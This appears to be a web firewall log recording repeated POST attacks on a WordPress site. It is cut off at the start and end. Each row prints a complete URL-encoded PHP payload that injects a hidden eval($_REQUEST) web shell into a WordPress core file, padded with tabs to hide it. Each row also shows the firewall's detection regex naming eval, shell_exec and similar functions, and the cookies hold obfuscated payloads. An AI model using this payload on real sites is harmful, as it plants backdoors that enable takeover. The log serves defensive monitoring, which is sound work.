22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nsec-ch-ua-platform:\"Windows\"\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/104.0.0.0 Safari\/537.36\nsec-fetch-site:none\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-type:application\/x-www-form-urlencoded\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-ch-ua:\"Chromium\";v=\"104\", \" Not A;Brand\";v=\"99\", \"Google Chrome\";v=\"104\"\ncontent-length:2063\nsec-ch-ua-mobile:?0\ncookie:4=1af844051764377410b827578daae50e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvIItvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaA5plV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\n\nUX=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/customize\/class-wp-customize-media-control.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27eval%2528%2524_REQUEST%255B%2527TqQpkH%2527%255D%2529%253B%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 09:50:07","192.3.12.164","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.64 Safari\/537.36 Edg\/101.0.1210.47","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> tm:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/customize\/class-wp-customize-media-control.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27eval%2528%2524_REQUEST%255B%2527TqQpkH%2527%255D%2529%253B%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nsec-ch-ua-platform:\"Windows\"\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.64 Safari\/537.36 Edg\/101.0.1210.47\nsec-fetch-site:none\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-type:application\/x-www-form-urlencoded\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"101\", \"Microsoft Edge\";v=\"101\"\ncontent-length:2063\nsec-ch-ua-mobile:?0\ncookie:4=9502d8dfeef0bdc4da77dd3a93ec6aec; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvqT0vKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaWyp2I0VwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\n\ntm=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/customize\/class-wp-customize-media-control.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27eval%2528%2524_REQUEST%255B%2527TqQpkH%2527%255D%2529%253B%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 09:50:09","141.95.124.215","POST","\/wp-admin\/network\/plugins.php","Mozilla\/5.0 (Linux; Android 12; Pixel 6) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.58 Mobile Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> xS:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/customize\/class-wp-customize-media-control.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27eval%2528%2524_REQUEST%255B%2527TqQpkH%2527%255D%2529%253B%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/wp-admin\/network\/plugins.php HTTP\/1.1\nsec-ch-ua-platform:\"Android\"\nuser-agent:Mozilla\/5.0 (Linux; Android 12; Pixel 6) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.58 Mobile Safari\/537.36\nsec-fetch-site:none\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-type:application\/x-www-form-urlencoded\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"99\", \"Google Chrome\";v=\"99\"\ncontent-length:2063\nsec-ch-ua-mobile:?1\ncookie:4=730da3e67a08a749df0620450f4abf2e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvrSZvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaWcozEyrPV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\n\nxS=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/customize\/class-wp-customize-media-control.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27eval%2528%2524_REQUEST%255B%2527TqQpkH%2527%255D%2529%253B%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 09:50:10","51.38.81.255","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.67 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> Sn:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/customize\/class-wp-customize-media-control.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27eval%2528%2524_REQUEST%255B%2527TqQpkH%2527%255D%2529%253B%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nsec-ch-ua-platform:\"Windows\"\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.67 Safari\/537.36\nsec-fetch-site:none\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-type:application\/x-www-form-urlencoded\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"101\", \"Google Chrome\";v=\"101\"\ncontent-length:2063\nsec-ch-ua-mobile:?0\ncookie:4=0a64bb21b33726046f335a7dc8ae049c; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvH24vKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYz11oUEcVwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\n\nSn=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/customize\/class-wp-customize-media-control.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27eval%2528%2524_REQUEST%255B%2527TqQpkH%2527%255D%2529%253B%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 09:50:12","89.167.82.230","POST","\/wp-includes\/block-patterns\/query-large-title-posts.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.51 Safari\/537.36 Edg\/99.0.1150.30","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> IMAhJp:eval(rawurldecode(\"%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/customize\/class-wp-customize-media-control.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27eval%2528%2524_REQUEST%255B%2527TqQpkH%2527%255D%2529%253B%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20\"));","POST \/wp-includes\/block-patterns\/query-large-title-posts.php HTTP\/1.1\nsec-ch-ua-platform:\"Windows\"\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.51 Safari\/537.36 Edg\/99.0.1150.30\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-fetch-site:none\naccept:*\/*\nsec-fetch-mode:navigate\nupgrade-insecure-requests:1\nsec-fetch-user:?1\ncontent-type:application\/x-www-form-urlencoded\nsec-fetch-dest:document\ncontent-length:2086\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"99\", \"Microsoft Edge\";v=\"99\"\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-ch-ua-mobile:?0\naccept-encoding:gzip,deflate\n\nIMAhJp=eval(rawurldecode(\"%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/customize\/class-wp-customize-media-control.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27eval%2528%2524_REQUEST%255B%2527TqQpkH%2527%255D%2529%253B%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20\"));"]
["2026-05-12 09:50:14","212.87.197.20","POST","\/wp-admin\/site-health.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/116.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> lH:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/customize\/class-wp-customize-media-control.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27eval%2528%2524_REQUEST%255B%2527TqQpkH%2527%255D%2529%253B%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/wp-admin\/site-health.php HTTP\/1.1\nsec-ch-ua-platform:\"Windows\"\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/116.0.0.0 Safari\/537.36\nsec-fetch-site:none\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-type:application\/x-www-form-urlencoded\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-ch-ua:\"Chromium\";v=\"116\", \"Not)A;Brand\";v=\"24\", \"Google Chrome\";v=\"116\"\ncontent-length:2063\nsec-ch-ua-mobile:?0\ncookie:4=3a8677dc156d672c6e12f16237adcc36; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvoRtvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzEvrS9wo252MKW0VwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 